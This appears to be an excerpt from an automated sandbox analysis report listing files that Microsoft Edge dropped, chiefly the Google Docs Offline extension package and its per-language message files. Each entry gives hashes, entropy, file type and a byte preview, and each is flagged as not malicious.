SHA-512:	12484A4A35A5A120ECAF71337CAA770DD1BE11D9BED75AC675676D1D38DFF6F6DBF6EF07D95B4548FDE3D096E1B8ACEAB05E7A09CEA2819333FD7FB68E0F47FF
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\f254009c-bb08-4a22-ae98-f27dfd8b2043.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\f2a34f4c-0a25-4549-bfd3-bc8028269ef3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\50f8e9a1-6fe0-4ef1-8fd2-33fb48c4ae3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
